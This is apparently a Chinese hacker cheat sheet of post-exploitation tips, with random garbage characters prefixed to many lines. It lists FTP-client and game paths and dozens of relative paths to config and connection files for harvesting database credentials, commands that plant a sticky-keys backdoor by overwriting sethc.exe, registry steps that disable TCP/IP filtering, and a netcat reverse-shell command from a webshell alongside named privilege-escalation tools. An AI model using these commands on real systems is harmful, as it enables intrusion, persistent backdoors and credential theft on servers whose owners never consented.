5 d* s' W; v# N" b; b. g" x! K" kC:\Program Files\LeapFTP\LeapFTP.exe
! E) B" h4 Z# J- Z* _c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
! q- `1 i  u" H( X* ?c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
: b% n; f) S# |& @C:\Program Files\FlashFXP\FlashFXP.ini
$ c' v- Y5 C. @9 p& @" c4 JC:\Program Files\FlashFXP\flashfxp.exe
( b! P' a3 w8 S  `% e5 `; hc:\Program Files\Oracle\bin\regsvr32.exe
" w! a3 M9 d+ k* i: u. W" b) ac:\Program Files\腾讯游戏\QQGAME\readme.txt
" K" ^* @# X- E3 j$ C6 yc:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe
$ ~5 P: B) j9 T$ `% {0 T2 ~/ [
1 }  h# x3 @) Q$ c  l) j! B3.网站相对路径:
8 [/ B$ `/ e6 p
# `- ^( L4 g, U6 \/config.php
' K* F, K* P7 h1 q, e3 \; g../../config.php
, i0 i7 J% ?$ U6 b6 k../config.php
../../../config.php
  ^3 K9 R( p7 n0 N7 _/config.inc.php
( H" D" j3 |/ R! f./config.inc.php
../../config.inc.php
! h  v1 B4 S6 A( ~( ]) F) I3 e5 d../config.inc.php
+ ?1 S- V6 }5 D/ r+ S- z# j../../../config.inc.php
/conn.php
0 _- @8 P4 g6 u. q1 c/ e. }./conn.php
../../conn.php
7 i: P' x  w8 {5 p9 w../conn.php
, S0 {3 h$ T( c5 O../../../conn.php
/conn.asp
./conn.asp
" o% g3 a/ L- H1 X../../conn.asp
../conn.asp
7 |5 [/ ~; e4 C) \' O../../../conn.asp
/config.inc.php
./config.inc.php
../../config.inc.php
../config.inc.php
0 U; T4 d5 v, P  a, _) Z* P6 X../../../config.inc.php
: e7 S5 g! G  }, V3 m$ ~. K/config/config.php
../../config/config.php
../config/config.php
- Z4 e% f5 F. ]  S' ~3 t../../../config/config.php
4 h* T8 i5 ~  _5 ?% H) ^, E/ q/config/config.inc.php
./config/config.inc.php
6 N0 O) A& a. E( U  M# @../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
/config/conn.php
./config/conn.php
$ M* |9 f( J0 B9 j../../config/conn.php
../config/conn.php
../../../config/conn.php
/config/conn.asp
./config/conn.asp
../../config/conn.asp
% f3 Y9 R9 y4 F2 O+ M1 m6 ]  C../config/conn.asp
4 G( r% V6 j9 O../../../config/conn.asp
4 w) T$ z* D; Y4 E3 F4 y) H: y8 x/config/config.inc.php
./config/config.inc.php
../../config/config.inc.php
../config/config.inc.php
# |% d% E% Z% q/ D../../../config/config.inc.php
/data/config.php
$ d* \, B% c' O( S- e, l7 ~../../data/config.php
../data/config.php
../../../data/config.php
+ X' o0 b$ E- y1 w" O/data/config.inc.php
0 p* r3 h( S4 j/ g. V./data/config.inc.php
../../data/config.inc.php
../data/config.inc.php
9 Y( _8 i" j) c8 M7 ?  l, B- e" u../../../data/config.inc.php
/data/conn.php
+ E- W: q* q/ z% l3 `' r: D./data/conn.php
../../data/conn.php
* j" }8 w, e- M1 `; B: R# L../data/conn.php
& G7 ]* R* ?% |; K1 O3 F../../../data/conn.php
/data/conn.asp
./data/conn.asp
../../data/conn.asp
../data/conn.asp
8 B! A! N$ M4 q8 T1 j1 h* k../../../data/conn.asp
/data/config.inc.php
./data/config.inc.php
% b4 x( D" N% ?, ^- i* g../../data/config.inc.php
../data/config.inc.php
../../../data/config.inc.php
; }. N3 \; N- Q' o) k/include/config.php
' B& ^$ T' ]. Y# i, ]* O( m../../include/config.php
../include/config.php
0 [! P& x( g8 F../../../include/config.php
/include/config.inc.php
./include/config.inc.php
1 g& G5 W5 c. ~" N4 \; S../../include/config.inc.php
! @$ r. I, R- R6 X% ~. @../include/config.inc.php
../../../include/config.inc.php
/include/conn.php
./include/conn.php
! Q' K5 o# _# p../../include/conn.php
! A& D# r4 S. l: m. o  i../include/conn.php
../../../include/conn.php
/include/conn.asp
2 s% b% l) J% U./include/conn.asp
% }7 _& |: E$ u0 g7 H../../include/conn.asp
6 w1 W, b% q4 a$ o1 |../include/conn.asp
../../../include/conn.asp
* E9 n5 o1 Z1 Z. _, f# O2 ~0 p/include/config.inc.php
# X' y* F0 ]' W$ ?% {  ?! v3 p./include/config.inc.php
- b9 S. I/ a5 ?$ ^/ o../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
" |, P, h- c7 z+ ?) p2 Q! b/inc/config.php
../../inc/config.php
../inc/config.php
* T, }# K% b0 K../../../inc/config.php
0 X* |  l( R$ }+ e' B* p3 ]. H/inc/config.inc.php
, z; o0 i7 k, Y5 p2 \9 z, _8 E./inc/config.inc.php
../../inc/config.inc.php
3 e; V5 ~  h. A- [  o../inc/config.inc.php
../../../inc/config.inc.php
/inc/conn.php
./inc/conn.php
* j9 y8 Z- p0 E' A../../inc/conn.php
../inc/conn.php
../../../inc/conn.php
/inc/conn.asp
( l( V( L! \6 I$ n./inc/conn.asp
' @/ {6 @/ `4 K  {+ D5 J, n/ R! R../../inc/conn.asp
7 }0 `  X; _4 P- X../inc/conn.asp
! V3 \6 P3 l  E4 ~& g/ G7 I../../../inc/conn.asp
/inc/config.inc.php
./inc/config.inc.php
+ K5 z5 |& a+ |( R! g  u../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
/index.php
./index.php
../../index.php
../index.php
7 q4 Y- C! w3 o3 w% B../../../index.php
0 u# M! q! y" [/index.asp
./index.asp
../../index.asp
../index.asp
../../../index.asp
替换SHIFT后门
' P+ R& y, J" i7 [$ |: P　attrib c:\windows\system32\sethc.exe -h -r -s

( q4 v0 h8 X3 D6 C　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s

　　del c:\windows\system32\sethc.exe

　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
: R7 Y$ ^& X0 f, ]. U1 Z
; L  X. n$ G: A6 {5 e1 R　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

　　attrib c:\windows\system32\sethc.exe +h +r +s
5 J! R9 t3 L3 }
　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
去除TCPIP筛选
TCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
% S8 e1 [5 `- _4 VHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

8 w! O9 ?6 y7 l, M分别用
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
# m3 _: h# j! p" ~1 |  P7 c" Uregedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
命令来导出注册表项
% {6 Z9 a# g& E% k/ L! v
6 s2 H0 d! ?7 l然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
3 M& d& L& K" ?7 S6 \% }
* S+ f. t% @( q  h再将以上三个文件分别用
regedit -s D:\a.reg
regedit -s D:\b.reg
regedit -s D:\c.reg
1 [0 n2 N) C4 e. R7 F$ C% D: _( _导入注册表即可

- i6 a# |' U, W8 f7 D, G" g' Twebshell提权小技巧
4 \9 E4 a$ E4 \8 a) r9 y- b* o' L2 `9 wcmd路径:
c:\windows\temp\cmd.exe
! {! t* P7 e/ ^" E; a2 R  Y# bnc也在同目录下
$ t! p, b7 s) |) ~+ S, Y; g例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
通常都不会成功。
! i* l! a$ E- E$ S6 T# r( {7 @9 c
& I, E, @- E" w+ J% N: o而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
# O( R  B" y, F% V/ T却能成功。。
/ n$ O+ U3 A: T2 {9 J* P# y7 n0 k这个不是重点
我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功